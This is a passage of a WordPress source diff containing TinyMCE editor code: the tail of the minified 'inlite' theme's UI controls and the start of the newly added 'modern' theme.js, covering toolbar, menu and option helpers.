t,e=this,n=e._id,i=e.classPrefix,r=e.settings.icon,o=e.state.get("text"),s="";return(t=e.settings.image)?(r="none","string"!=typeof t&&(t=window.getSelection?t[0]:t[1]),t=" style=\"background-image: url('"+t+"')\""):t="",o&&(e.classes.add("btn-has-text"),s='<span class="'+i+'txt">'+e.encode(o)+"</span>"),r=e.settings.icon?i+"ico "+i+"i-"+r:"",e.aria("role",e.parent()instanceof qr?"menuitem":"button"),'<div id="'+n+'" class="'+e.classes+'" tabindex="-1" aria-labelledby="'+n+'"><button id="'+n+'-open" role="presentation" type="button" tabindex="-1">'+(r?'<i class="'+r+'"'+t+"></i>":"")+s+' <i class="'+i+'caret"></i></button></div>'},postRender:function(){var r=this;return r.on("click",function(t){t.control===r&&function(t,e){for(;t;){if(e===t)return!0;t=t.parentNode}return!1}(t.target,r.getEl())&&(r.focus(),r.showMenu(!t.aria),t.aria&&r.menu.items().filter(":visible")[0].focus())}),r.on("mouseenter",function(t){var e,n=t.control,i=r.parent();n&&i&&n instanceof Yr&&n.parent()===i&&(i.items().filter("MenuButton").each(function(t){t.hideMenu&&t!==n&&(t.menu&&t.menu.visible()&&(e=!0),t.hideMenu())}),e&&(n.focus(),n.showMenu()))}),r._super()},bindStates:function(){var t=this;return t.state.on("change:menu",function(){t.menu&&t.menu.remove(),t.menu=null}),t._super()},remove:function(){this._super(),this.menu&&this.menu.remove()}});function $r(i,r){var o,s,a=this,l=ce.classPrefix;a.show=function(t,e){function n(){o&&(Nt(i).append('<div class="'+l+"throbber"+(r?" "+l+"throbber-inline":"")+'"></div>'),e&&e())}return a.hide(),o=!0,t?s=c.setTimeout(n,t):n(),a},a.hide=function(){var t=i.lastChild;return c.clearTimeout(s),t&&-1!==t.className.indexOf("throbber")&&t.parentNode.removeChild(t),o=!1,a}}var Xr=Ve.extend({Defaults:{defaultType:"menuitem",border:1,layout:"stack",role:"application",bodyRole:"menu",ariaRoot:!0},init:function(t){if(t.autohide=!0,t.constrainToViewport=!0,"function"==typeof t.items&&(t.itemsFactory=t.items,t.items=[]),t.itemDefaults)for(var e=t.items,n=e.length;n--;)e[n]=C.extend({},t.itemDefaults,e[n]);this._super(t),this.classes.add("menu"),t.animate&&11!==h.ie&&this.classes.add("animate")},repaint:function(){return this.classes.toggle("menu-align",!0),this._super(),this.getEl().style.height="",this.getEl("body").style.height="",this},cancel:function(){this.hideAll(),this.fire("select")},load:function(){var e,n=this;function i(){n.throbber&&(n.throbber.hide(),n.throbber=null)}n.settings.itemsFactory&&(n.throbber||(n.throbber=new $r(n.getEl("body"),!0),0===n.items().length?(n.throbber.show(),n.fire("loading")):n.throbber.show(100,function(){n.items().remove(),n.fire("loading")}),n.on("hide close",i)),n.requestTime=e=(new Date).getTime(),n.settings.itemsFactory(function(t){0!==t.length?n.requestTime===e&&(n.getEl().style.width="",n.getEl("body").style.width="",i(),n.items().remove(),n.getEl("body").innerHTML="",n.add(t),n.renderNew(),n.fire("loaded")):n.hide()}))},hideAll:function(){return this.find("menuitem").exec("hideMenu"),this._super()},preRender:function(){var n=this;return n.items().each(function(t){var e=t.settings;if(e.icon||e.image||e.selectable)return!(n._hasIcons=!0)}),n.settings.itemsFactory&&n.on("postrender",function(){n.settings.itemsFactory&&n.load()}),n.on("show hide",function(t){t.control===n&&("show"===t.type?c.setTimeout(function(){n.classes.add("in")},0):n.classes.remove("in"))}),n._super()}}),jr=Yr.extend({init:function(i){var e,r,o,n,s=this;s._super(i),i=s.settings,s._values=e=i.values,e&&("undefined"!=typeof i.value&&function t(e){for(var n=0;n<e.length;n++){if(r=e[n].selected||i.value===e[n].value)return o=o||e[n].text,s.state.set("value",e[n].value),!0;if(e[n].menu&&t(e[n].menu))return!0}}(e),!r&&0<e.length&&(o=e[0].text,s.state.set("value",e[0].value)),s.state.set("menu",e)),s.state.set("text",i.text||o),s.classes.add("listbox"),s.on("select",function(t){var e=t.control;n&&(t.lastControl=n),i.multiple?e.active(!e.active()):s.value(t.control.value()),n=e})},value:function(e){return 0===arguments.length?this.state.get("value"):(void 0===e||(this.settings.values?0<C.grep(this.settings.values,function(t){return t.value===e}).length?this.state.set("value",e):null===e&&this.state.set("value",null):this.state.set("value",e)),this)},bindStates:function(){var i=this;return i.on("show",function(t){var e,n;e=t.control,n=i.value(),e instanceof Xr&&e.items().each(function(t){t.hasMenus()||t.active(t.value()===n)})}),i.state.on("change:value",function(e){var n=function t(e,n){var i;if(e)for(var r=0;r<e.length;r++){if(e[r].value===n)return e[r];if(e[r].menu&&(i=t(e[r].menu,n)))return i}}(i.state.get("menu"),e.value);n?i.text(n.text):i.text(i.settings.text)}),i._super()}}),Jr=be.extend({Defaults:{border:0,role:"menuitem"},init:function(t){var e,n=this;n._super(t),t=n.settings,n.classes.add("menu-item"),t.menu&&n.classes.add("menu-item-expand"),t.preview&&n.classes.add("menu-item-preview"),"-"!==(e=n.state.get("text"))&&"|"!==e||(n.classes.add("menu-item-sep"),n.aria("role","separator"),n.state.set("text","-")),t.selectable&&(n.aria("role","menuitemcheckbox"),n.classes.add("menu-item-checkbox"),t.icon="selected"),t.preview||t.selectable||n.classes.add("menu-item-normal"),n.on("mousedown",function(t){t.preventDefault()}),t.menu&&!t.ariaHideMenu&&n.aria("haspopup",!0)},hasMenus:function(){return!!this.settings.menu},showMenu:function(){var e,n=this,t=n.settings,i=n.parent();if(i.items().each(function(t){t!==n&&t.hideMenu()}),t.menu){(e=n.menu)?e.show():((e=t.menu).length?e={type:"menu",items:e}:e.type=e.type||"menu",i.settings.itemDefaults&&(e.itemDefaults=i.settings.itemDefaults),(e=n.menu=Ee.create(e).parent(n).renderTo()).reflow(),e.on("cancel",function(t){t.stopPropagation(),n.focus(),e.hide()}),e.on("show hide",function(t){t.control.items&&t.control.items().each(function(t){t.active(t.settings.selected)})}).fire("show"),e.on("hide",function(t){t.control===e&&n.classes.remove("selected")}),e.submenu=!0),e._parentMenu=i,e.classes.add("menu-sub");var r=e.testMoveRel(n.getEl(),n.isRtl()?["tl-tr","bl-br","tr-tl","br-bl"]:["tr-tl","br-bl","tl-tr","bl-br"]);e.moveRel(n.getEl(),r),r="menu-sub-"+(e.rel=r),e.classes.remove(e._lastRel).add(r),e._lastRel=r,n.classes.add("selected"),n.aria("expanded",!0)}},hideMenu:function(){var t=this;return t.menu&&(t.menu.items().each(function(t){t.hideMenu&&t.hideMenu()}),t.menu.hide(),t.aria("expanded",!1)),t},renderHtml:function(){var t,e=this,n=e._id,i=e.settings,r=e.classPrefix,o=e.state.get("text"),s=e.settings.icon,a="",l=i.shortcut,u=e.encode(i.url);function c(t){return t.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}function d(t){var e=i.match||"";return e?t.replace(new RegExp(c(e),"gi"),function(t){return"!mce~match["+t+"]mce~match!"}):t}function f(t){return t.replace(new RegExp(c("!mce~match["),"g"),"<b>").replace(new RegExp(c("]mce~match!"),"g"),"</b>")}return s&&e.parent().classes.add("menu-has-icons"),i.image&&(a=" style=\"background-image: url('"+i.image+"')\""),l&&(l=function(t){var e,n,i={};for(i=h.mac?{alt:"&#x2325;",ctrl:"&#x2318;",shift:"&#x21E7;",meta:"&#x2318;"}:{meta:"Ctrl"},t=t.split("+"),e=0;e<t.length;e++)(n=i[t[e].toLowerCase()])&&(t[e]=n);return t.join("+")}(l)),s=r+"ico "+r+"i-"+(e.settings.icon||"none"),t="-"!==o?'<i class="'+s+'"'+a+"></i>\xa0":"",o=f(e.encode(d(o))),u=f(e.encode(d(u))),'<div id="'+n+'" class="'+e.classes+'" tabindex="-1">'+t+("-"!==o?'<span id="'+n+'-text" class="'+r+'text">'+o+"</span>":"")+(l?'<div id="'+n+'-shortcut" class="'+r+'menu-shortcut">'+l+"</div>":"")+(i.menu?'<div class="'+r+'caret"></div>':"")+(u?'<div class="'+r+'menu-item-link">'+u+"</div>":"")+"</div>"},postRender:function(){var e=this,n=e.settings,t=n.textStyle;if("function"==typeof t&&(t=t.call(this)),t){var i=e.getEl("text");i&&(i.setAttribute("style",t),e._textStyle=t)}return e.on("mouseenter click",function(t){t.control===e&&(n.menu||"click"!==t.type?(e.showMenu(),t.aria&&e.menu.focus(!0)):(e.fire("select"),c.requestAnimationFrame(function(){e.parent().hideAll()})))}),e._super(),e},hover:function(){return this.parent().items().each(function(t){t.classes.remove("selected")}),this.classes.toggle("selected",!0),this},active:function(t){return function(t,e){var n=t._textStyle;if(n){var i=t.getEl("text");i.setAttribute("style",n),e&&(i.style.color="",i.style.backgroundColor="")}}(this,t),void 0!==t&&this.aria("checked",t),this._super(t)},remove:function(){this._super(),this.menu&&this.menu.remove()}}),Gr=An.extend({Defaults:{classes:"radio",role:"radio"}}),Kr=be.extend({renderHtml:function(){var t=this,e=t.classPrefix;return t.classes.add("resizehandle"),"both"===t.settings.direction&&t.classes.add("resizehandle-both"),t.canFocus=!1,'<div id="'+t._id+'" class="'+t.classes+'"><i class="'+e+"ico "+e+'i-resize"></i></div>'},postRender:function(){var e=this;e._super(),e.resizeDragHelper=new Re(this._id,{start:function(){e.fire("ResizeStart")},drag:function(t){"both"!==e.settings.direction&&(t.deltaX=0),e.fire("Resize",t)},stop:function(){e.fire("ResizeEnd")}})},remove:function(){return this.resizeDragHelper&&this.resizeDragHelper.destroy(),this._super()}});function Zr(t){var e="";if(t)for(var n=0;n<t.length;n++)e+='<option value="'+t[n]+'">'+t[n]+"</option>";return e}var Qr=be.extend({Defaults:{classes:"selectbox",role:"selectbox",options:[]},init:function(t){var n=this;n._super(t),n.settings.size&&(n.size=n.settings.size),n.settings.options&&(n._options=n.settings.options),n.on("keydown",function(t){var e;13===t.keyCode&&(t.preventDefault(),n.parents().reverse().each(function(t){if(t.toJSON)return e=t,!1}),n.fire("submit",{data:e.toJSON()}))})},options:function(t){return arguments.length?(this.state.set("options",t),this):this.state.get("options")},renderHtml:function(){var t,e=this,n="";return t=Zr(e._options),e.size&&(n=' size = "'+e.size+'"'),'<select id="'+e._id+'" class="'+e.classes+'"'+n+">"+t+"</select>"},bindStates:function(){var e=this;return e.state.on("change:options",function(t){e.getEl().innerHTML=Zr(t.value)}),e._super()}});function to(t,e,n){return t<e&&(t=e),n<t&&(t=n),t}function eo(t,e,n){t.setAttribute("aria-"+e,n)}function no(t,e){var n,i,r,o,s;"v"===t.settings.orientation?(r="top",i="height",n="h"):(r="left",i="width",n="w"),s=t.getEl("handle"),o=((t.layoutRect()[n]||100)-St.getSize(s)[i])*((e-t._minValue)/(t._maxValue-t._minValue))+"px",s.style[r]=o,s.style.height=t.layoutRect().h+"px",eo(s,"valuenow",e),eo(s,"valuetext",""+t.settings.previewFilter(e)),eo(s,"valuemin",t._minValue),eo(s,"valuemax",t._maxValue)}var io=be.extend({init:function(t){var e=this;t.previewFilter||(t.previewFilter=function(t){return Math.round(100*t)/100}),e._super(t),e.classes.add("slider"),"v"===t.orientation&&e.classes.add("vertical"),e._minValue=yt(t.minValue)?t.minValue:0,e._maxValue=yt(t.maxValue)?t.maxValue:100,e._initValue=e.state.get("value")},renderHtml:function(){var t=this._id,e=this.classPrefix;return'<div id="'+t+'" class="'+this.classes+'"><div id="'+t+'-handle" class="'+e+'slider-handle" role="slider" tabindex="-1"></div></div>'},reset:function(){this.value(this._initValue).repaint()},postRender:function(){var t,e,n,i,r,o,s,a,l,u,c,d,f,h,m=this;t=m._minValue,e=m._maxValue,"v"===m.settings.orientation?(n="screenY",i="top",r="height",o="h"):(n="screenX",i="left",r="width",o="w"),m._super(),function(o,s){function e(t){var e,n,i,r;e=to(e=(((e=m.value())+(r=n=o))/((i=s)-r)+.05*t)*(i-n)-n,o,s),m.value(e),m.fire("dragstart",{value:e}),m.fire("drag",{value:e}),m.fire("dragend",{value:e})}m.on("keydown",function(t){switch(t.keyCode){case 37:case 38:e(-1);break;case 39:case 40:e(1)}})}(t,e),s=t,a=e,l=m.getEl("handle"),m._dragHelper=new Re(m._id,{handle:m._id+"-handle",start:function(t){u=t[n],c=parseInt(m.getEl("handle").style[i],10),d=(m.layoutRect()[o]||100)-St.getSize(l)[r],m.fire("dragstart",{value:h})},drag:function(t){var e=t[n]-u;f=to(c+e,0,d),l.style[i]=f+"px",h=s+f/d*(a-s),m.value(h),m.tooltip().text(""+m.settings.previewFilter(h)).show().moveRel(l,"bc tc"),m.fire("drag",{value:h})},stop:function(){m.tooltip().hide(),m.fire("dragend",{value:h})}})},repaint:function(){this._super(),no(this,this.value())},bindStates:function(){var e=this;return e.state.on("change:value",function(t){no(e,t.value)}),e._super()}}),ro=be.extend({renderHtml:function(){return this.classes.add("spacer"),this.canFocus=!1,'<div id="'+this._id+'" class="'+this.classes+'"></div>'}}),oo=Yr.extend({Defaults:{classes:"widget btn splitbtn",role:"button"},repaint:function(){var t,e,n=this.getEl(),i=this.layoutRect();return this._super(),t=n.firstChild,e=n.lastChild,Nt(t).css({width:i.w-St.getSize(e).width,height:i.h-2}),Nt(e).css({height:i.h-2}),this},activeMenu:function(t){Nt(this.getEl().lastChild).toggleClass(this.classPrefix+"active",t)},renderHtml:function(){var t,e,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a=n.settings,l="";return(t=a.image)?(o="none","string"!=typeof t&&(t=window.getSelection?t[0]:t[1]),t=" style=\"background-image: url('"+t+"')\""):t="",o=a.icon?r+"ico "+r+"i-"+o:"",s&&(n.classes.add("btn-has-text"),l='<span class="'+r+'txt">'+n.encode(s)+"</span>"),e="boolean"==typeof a.active?' aria-pressed="'+a.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" role="button"'+e+' tabindex="-1"><button type="button" hidefocus="1" tabindex="-1">'+(o?'<i class="'+o+'"'+t+"></i>":"")+l+'</button><button type="button" class="'+r+'open" hidefocus="1" tabindex="-1">'+(n._menuBtnText?(o?"\xa0":"")+n._menuBtnText:"")+' <i class="'+r+'caret"></i></button></div>'},postRender:function(){var n=this.settings.onclick;return this.on("click",function(t){var e=t.target;if(t.control===this)for(;e;){if(t.aria&&"down"!==t.aria.key||"BUTTON"===e.nodeName&&-1===e.className.indexOf("open"))return t.stopImmediatePropagation(),void(n&&n.call(this,t));e=e.parentNode}}),delete this.settings.onclick,this._super()}}),so=ur.extend({Defaults:{containerClass:"stack-layout",controlClass:"stack-layout-item",endClass:"break"},isNative:function(){return!0}}),ao=We.extend({Defaults:{layout:"absolute",defaults:{type:"panel"}},activateTab:function(n){var t;this.activeTabId&&(t=this.getEl(this.activeTabId),Nt(t).removeClass(this.classPrefix+"active"),t.setAttribute("aria-selected","false")),this.activeTabId="t"+n,(t=this.getEl("t"+n)).setAttribute("aria-selected","true"),Nt(t).addClass(this.classPrefix+"active"),this.items()[n].show().fire("showtab"),this.reflow(),this.items().each(function(t,e){n!==e&&t.hide()})},renderHtml:function(){var i=this,t=i._layout,r="",o=i.classPrefix;return i.preRender(),t.preRender(i),i.items().each(function(t,e){var n=i._id+"-t"+e;t.aria("role","tabpanel"),t.aria("labelledby",n),r+='<div id="'+n+'" class="'+o+'tab" unselectable="on" role="tab" aria-controls="'+t._id+'" aria-selected="false" tabIndex="-1">'+i.encode(t.settings.title)+"</div>"}),'<div id="'+i._id+'" class="'+i.classes+'" hidefocus="1" tabindex="-1"><div id="'+i._id+'-head" class="'+o+'tabs" role="tablist">'+r+'</div><div id="'+i._id+'-body" class="'+i.bodyClasses+'">'+t.renderHtml(i)+"</div></div>"},postRender:function(){var i=this;i._super(),i.settings.activeTab=i.settings.activeTab||0,i.activateTab(i.settings.activeTab),this.on("click",function(t){var e=t.target.parentNode;if(e&&e.id===i._id+"-head")for(var n=e.childNodes.length;n--;)e.childNodes[n]===t.target&&i.activateTab(n)})},initLayoutRect:function(){var t,e,n,i=this;e=(e=St.getSize(i.getEl("head")).width)<0?0:e,n=0,i.items().each(function(t){e=Math.max(e,t.layoutRect().minW),n=Math.max(n,t.layoutRect().minH)}),i.items().each(function(t){t.settings.x=0,t.settings.y=0,t.settings.w=e,t.settings.h=n,t.layoutRect({x:0,y:0,w:e,h:n})});var r=St.getSize(i.getEl("head")).height;return i.settings.minWidth=e,i.settings.minHeight=n+r,(t=i._super()).deltaH+=r,t.innerH=t.h-t.deltaH,t}}),lo=be.extend({init:function(t){var n=this;n._super(t),n.classes.add("textbox"),t.multiline?n.classes.add("multiline"):(n.on("keydown",function(t){var e;13===t.keyCode&&(t.preventDefault(),n.parents().reverse().each(function(t){if(t.toJSON)return e=t,!1}),n.fire("submit",{data:e.toJSON()}))}),n.on("keyup",function(t){n.state.set("value",t.target.value)}))},repaint:function(){var t,e,n,i,r,o=this,s=0;t=o.getEl().style,e=o._layoutRect,r=o._lastRepaintRect||{};var a=document;return!o.settings.multiline&&a.all&&(!a.documentMode||a.documentMode<=8)&&(t.lineHeight=e.h-s+"px"),i=(n=o.borderBox).left+n.right+8,s=n.top+n.bottom+(o.settings.multiline?8:0),e.x!==r.x&&(t.left=e.x+"px",r.x=e.x),e.y!==r.y&&(t.top=e.y+"px",r.y=e.y),e.w!==r.w&&(t.width=e.w-i+"px",r.w=e.w),e.h!==r.h&&(t.height=e.h-s+"px",r.h=e.h),o._lastRepaintRect=r,o.fire("repaint",{},!1),o},renderHtml:function(){var e,t,n=this,i=n.settings;return e={id:n._id,hidefocus:"1"},C.each(["rows","spellcheck","maxLength","size","readonly","min","max","step","list","pattern","placeholder","required","multiple"],function(t){e[t]=i[t]}),n.disabled()&&(e.disabled="disabled"),i.subtype&&(e.type=i.subtype),(t=St.create(i.multiline?"textarea":"input",e)).value=n.state.get("value"),t.className=n.classes.toString(),t.outerHTML},value:function(t){return arguments.length?(this.state.set("value",t),this):(this.state.get("rendered")&&this.state.set("value",this.getEl().value),this.state.get("value"))},postRender:function(){var e=this;e.getEl().value=e.state.get("value"),e._super(),e.$el.on("change",function(t){e.state.set("value",t.target.value),e.fire("change",t)})},bindStates:function(){var e=this;return e.state.on("change:value",function(t){e.getEl().value!==t.value&&(e.getEl().value=t.value)}),e.state.on("change:disabled",function(t){e.getEl().disabled=t.value}),e._super()},remove:function(){this.$el.off(),this._super()}}),uo=function(){return{Selector:qt,Collection:Xt,ReflowQueue:ee,Control:ce,Factory:Ee,KeyboardNavigation:Te,Container:De,DragHelper:Re,Scrollable:Pe,Panel:We,Movable:pe,Resizable:Ae,FloatPanel:Ve,Window:Je,MessageBox:Ge,Tooltip:ve,Widget:be,Progress:ye,Notification:we,Layout:Nn,AbsoluteLayout:On,Button:Dn,ButtonGroup:Wn,Checkbox:An,ComboBox:Ln,ColorBox:In,PanelButton:zn,ColorButton:Un,ColorPicker:qn,Path:$n,ElementPath:Xn,FormItem:jn,Form:Jn,FieldSet:Gn,FilePicker:sr,FitLayout:ar,FlexLayout:lr,FlowLayout:ur,FormatControls:Lr,GridLayout:Ir,Iframe:zr,InfoBox:Fr,Label:Ur,Toolbar:Vr,MenuBar:qr,MenuButton:Yr,MenuItem:Jr,Throbber:$r,Menu:Xr,ListBox:jr,Radio:Gr,ResizeHandle:Kr,SelectBox:Qr,Slider:io,Spacer:ro,SplitButton:oo,StackLayout:so,TabPanel:ao,TextBox:lo,DropZone:Yn,BrowseButton:Pn}},co=function(n){n.ui?C.each(uo(),function(t,e){n.ui[e]=t}):n.ui=uo()};C.each(uo(),function(t,e){Ee.add(e,t)}),co(window.tinymce?window.tinymce:{}),o.add("inlite",function(t){var e=Sn();return Lr.setup(t),Cn(t,e),Ke(t,e)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/themes/modern/theme.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/themes/modern/theme.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/themes/modern/theme.js	(revision 56912)
@@ -0,0 +1,10041 @@
+(function () {
+var modern = (function () {
+  'use strict';
+
+  var global = tinymce.util.Tools.resolve('tinymce.ThemeManager');
+
+  var global$1 = tinymce.util.Tools.resolve('tinymce.EditorManager');
+
+  var global$2 = tinymce.util.Tools.resolve('tinymce.util.Tools');
+
+  var isBrandingEnabled = function (editor) {
+    return editor.getParam('branding', true, 'boolean');
+  };
+  var hasMenubar = function (editor) {
+    return getMenubar(editor) !== false;
+  };
+  var getMenubar = function (editor) {
+    return editor.getParam('menubar');
+  };
+  var hasStatusbar = function (editor) {
+    return editor.getParam('statusbar', true, 'boolean');
+  };
+  var getToolbarSize = function (editor) {
+    return editor.getParam('toolbar_items_size');
+  };
+  var isReadOnly = function (editor) {
+    return editor.getParam('readonly', false, 'boolean');
+  };
+  var getFixedToolbarContainer = function (editor) {
+    return editor.getParam('fixed_toolbar_container');
+  };
+  var getInlineToolbarPositionHandler = function (editor) {
+    return editor.getParam('inline_toolbar_position_handler');
+  };
+  var getMenu = function (editor) {
+    return editor.getParam('menu');
+  };
+  var getRemovedMenuItems = function (editor) {
+    return editor.getParam('removed_menuitems', '');
+  };
+  var getMinWidth = function (editor) {
+    return editor.getParam('min_width', 100, 'number');
+  };
+  var getMinHeight = function (editor) {
+    return editor.getParam('min_height', 100, 'number');
+  };
+  var getMaxWidth = function (editor) {
+    return editor.getParam('max_width', 65535, 'number');
+  };
+  var getMaxHeight = function (editor) {
+    return editor.getParam('max_height', 65535, 'number');
+  };
+  var isSkinDisabled = function (editor) {
+    return editor.settings.skin === false;
+  };
+  var isInline = function (editor) {
+    return editor.getParam('inline', false, 'boolean');
+  };
+  var getResize = function (editor) {
+    var resize = editor.getParam('resize', 'vertical');
+    if (resize === false) {
+      return 'none';
+    } else if (resize === 'both') {
+      return 'both';
+    } else {
+      return 'vertical';
+    }
+  };
+  var getSkinUrl = function (editor) {
+    var settings = editor.settings;
+    var skin = settings.skin;
+    var skinUrl = settings.skin_url;
+    if (skin !== false) {
+      var skinName = skin ? skin : 'lightgray';
+      if (skinUrl) {
+        skinUrl = editor.documentBaseURI.toAbsolute(skinUrl);
+      } else {
+        skinUrl = global$1.baseURL + '/skins/' + skinName;
+      }
+    }
+    return skinUrl;
+  };
+  var getIndexedToolbars = function (settings, defaultToolbar) {
+    var toolbars = [];
+    for (var i = 1; i < 10; i++) {
+      var toolbar = settings['toolbar' + i];
+      if (!toolbar) {
+        break;
+      }
+      toolbars.push(toolbar);
+    }
+    var mainToolbar = settings.toolbar ? [settings.toolbar] : [defaultToolbar];
+    return toolbars.length > 0 ? toolbars : mainToolbar;
+  };
+  var getToolbars = function (editor) {
+    var toolbar = editor.getParam('toolbar');
+    var defaultToolbar = 'undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image';
+    if (toolbar === false) {
+      return [];
+    } else if (global$2.isArray(toolbar)) {
+      return global$2.grep(toolbar, function (toolbar) {
+        return toolbar.length > 0;
+      });
+    } else {
+      return getIndexedToolbars(editor.settings, defaultToolbar);
+    }
+  };
+
+  var global$3 = tinymce.util.Tools.resolve('tinymce.dom.DOMUtils');
+
+  var global$4 = tinymce.util.Tools.resolve('tinymce.ui.Factory');
+
+  var global$5 = tinymce.util.Tools.resolve('tinymce.util.I18n');
+
+  var fireSkinLoaded = function (editor) {
+    return editor.fire('SkinLoaded');
+  };
+  var fireResizeEditor = function (editor) {
+    return editor.fire('ResizeEditor');
+  };
+  var fireBeforeRenderUI = function (editor) {
+    return editor.fire('BeforeRenderUI');
+  };
+  var $_5hpmustzjjgwefnb = {
+    fireSkinLoaded: fireSkinLoaded,
+    fireResizeEditor: fireResizeEditor,
+    fireBeforeRenderUI: fireBeforeRenderUI
+  };
+
+  var focus = function (panel, type) {
+    return function () {
+      var item = panel.find(type)[0];
+      if (item) {
+        item.focus(true);
+      }
+    };
+  };
+  var addKeys = function (editor, panel) {
+    editor.shortcuts.add('Alt+F9', '', focus(panel, 'menubar'));
+    editor.shortcuts.add('Alt+F10,F10', '', focus(panel, 'toolbar'));
+    editor.shortcuts.add('Alt+F11', '', focus(panel, 'elementpath'));
+    panel.on('cancel', function () {
+      editor.focus();
+    });
+  };
+  var $_azwbz4u0jjgwefnc = { addKeys: addKeys };
+
+  var global$6 = tinymce.util.Tools.resolve('tinymce.geom.Rect');
+
+  var global$7 = tinymce.util.Tools.resolve('tinymce.util.Delay');
+
+  var noop = function () {
+    var x = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      x[_i] = arguments[_i];
+    }
+  };
+
+  var compose = function (fa, fb) {
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      return fa(fb.apply(null, arguments));
+    };
+  };
+  var constant = function (value) {
+    return function () {
+      return value;
+    };
+  };
+
+
+  var curry = function (f) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var args = new Array(arguments.length - 1);
+    for (var i = 1; i < arguments.length; i++)
+      args[i - 1] = arguments[i];
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      var newArgs = new Array(arguments.length);
+      for (var j = 0; j < newArgs.length; j++)
+        newArgs[j] = arguments[j];
+      var all = args.concat(newArgs);
+      return f.apply(null, all);
+    };
+  };
+
+
+
+
+  var never = constant(false);
+  var always = constant(true);
+
+  var never$1 = never;
+  var always$1 = always;
+  var none = function () {
+    return NONE;
+  };
+  var NONE = function () {
+    var eq = function (o) {
+      return o.isNone();
+    };
+    var call$$1 = function (thunk) {
+      return thunk();
+    };
+    var id = function (n) {
+      return n;
+    };
+    var noop$$1 = function () {
+    };
+    var nul = function () {
+      return null;
+    };
+    var undef = function () {
+      return undefined;
+    };
+    var me = {
+      fold: function (n, s) {
+        return n();
+      },
+      is: never$1,
+      isSome: never$1,
+      isNone: always$1,
+      getOr: id,
+      getOrThunk: call$$1,
+      getOrDie: function (msg) {
+        throw new Error(msg || 'error: getOrDie called on none.');
+      },
+      getOrNull: nul,
+      getOrUndefined: undef,
+      or: id,
+      orThunk: call$$1,
+      map: none,
+      ap: none,
+      each: noop$$1,
+      bind: none,
+      flatten: none,
+      exists: never$1,
+      forall: always$1,
+      filter: none,
+      equals: eq,
+      equals_: eq,
+      toArray: function () {
+        return [];
+      },
+      toString: constant('none()')
+    };
+    if (Object.freeze)
+      Object.freeze(me);
+    return me;
+  }();
+  var some = function (a) {
+    var constant_a = function () {
+      return a;
+    };
+    var self = function () {
+      return me;
+    };
+    var map = function (f) {
+      return some(f(a));
+    };
+    var bind = function (f) {
+      return f(a);
+    };
+    var me = {
+      fold: function (n, s) {
+        return s(a);
+      },
+      is: function (v) {
+        return a === v;
+      },
+      isSome: always$1,
+      isNone: never$1,
+      getOr: constant_a,
+      getOrThunk: constant_a,
+      getOrDie: constant_a,
+      getOrNull: constant_a,
+      getOrUndefined: constant_a,
+      or: self,
+      orThunk: self,
+      map: map,
+      ap: function (optfab) {
+        return optfab.fold(none, function (fab) {
+          return some(fab(a));
+        });
+      },
+      each: function (f) {
+        f(a);
+      },
+      bind: bind,
+      flatten: constant_a,
+      exists: bind,
+      forall: bind,
+      filter: function (f) {
+        return f(a) ? me : NONE;
+      },
+      equals: function (o) {
+        return o.is(a);
+      },
+      equals_: function (o, elementEq) {
+        return o.fold(never$1, function (b) {
+          return elementEq(a, b);
+        });
+      },
+      toArray: function () {
+        return [a];
+      },
+      toString: function () {
+        return 'some(' + a + ')';
+      }
+    };
+    return me;
+  };
+  var from = function (value) {
+    return value === null || value === undefined ? NONE : some(value);
+  };
+  var Option = {
+    some: some,
+    none: none,
+    from: from
+  };
+
+  var getUiContainerDelta = function (ctrl) {
+    var uiContainer = getUiContainer(ctrl);
+    if (uiContainer && global$3.DOM.getStyle(uiContainer, 'position', true) !== 'static') {
+      var containerPos = global$3.DOM.getPos(uiContainer);
+      var dx = uiContainer.scrollLeft - containerPos.x;
+      var dy = uiContainer.scrollTop - containerPos.y;
+      return Option.some({
+        x: dx,
+        y: dy
+      });
+    } else {
+      return Option.none();
+    }
+  };
+  var setUiContainer = function (editor, ctrl) {
+    var uiContainer = global$3.DOM.select(editor.settings.ui_container)[0];
+    ctrl.getRoot().uiContainer = uiContainer;
+  };
+  var getUiContainer = function (ctrl) {
+    return ctrl ? ctrl.getRoot().uiContainer : null;
+  };
+  var inheritUiContainer = function (fromCtrl, toCtrl) {
+    return toCtrl.uiContainer = getUiContainer(fromCtrl);
+  };
+  var $_6344qfu4jjgwefnr = {
+    getUiContainerDelta: getUiContainerDelta,
+    setUiContainer: setUiContainer,
+    getUiContainer: getUiContainer,
+    inheritUiContainer: inheritUiContainer
+  };
+
+  var createToolbar = function (editor, items, size) {
+    var toolbarItems = [];
+    var buttonGroup;
+    if (!items) {
+      return;
+    }
+    global$2.each(items.split(/[ ,]/), function (item) {
+      var itemName;
+      var bindSelectorChanged = function () {
+        var selection = editor.selection;
+        if (item.settings.stateSelector) {
+          selection.selectorChanged(item.settings.stateSelector, function (state) {
+            item.active(state);
+          }, true);
+        }
+        if (item.settings.disabledStateSelector) {
+          selection.selectorChanged(item.settings.disabledStateSelector, function (state) {
+            item.disabled(state);
+          });
+        }
+      };
+      if (item === '|') {
+        buttonGroup = null;
+      } else {
+        if (!buttonGroup) {
+          buttonGroup = {
+            type: 'buttongroup',
+            items: []
+          };
+          toolbarItems.push(buttonGroup);
+        }
+        if (editor.buttons[item]) {
+          itemName = item;
+          item = editor.buttons[itemName];
+          if (typeof item === 'function') {
+            item = item();
+          }
+          item.type = item.type || 'button';
+          item.size = size;
+          item = global$4.create(item);
+          buttonGroup.items.push(item);
+          if (editor.initialized) {
+            bindSelectorChanged();
+          } else {
+            editor.on('init', bindSelectorChanged);
+          }
+        }
+      }
+    });
+    return {
+      type: 'toolbar',
+      layout: 'flow',
+      items: toolbarItems
+    };
+  };
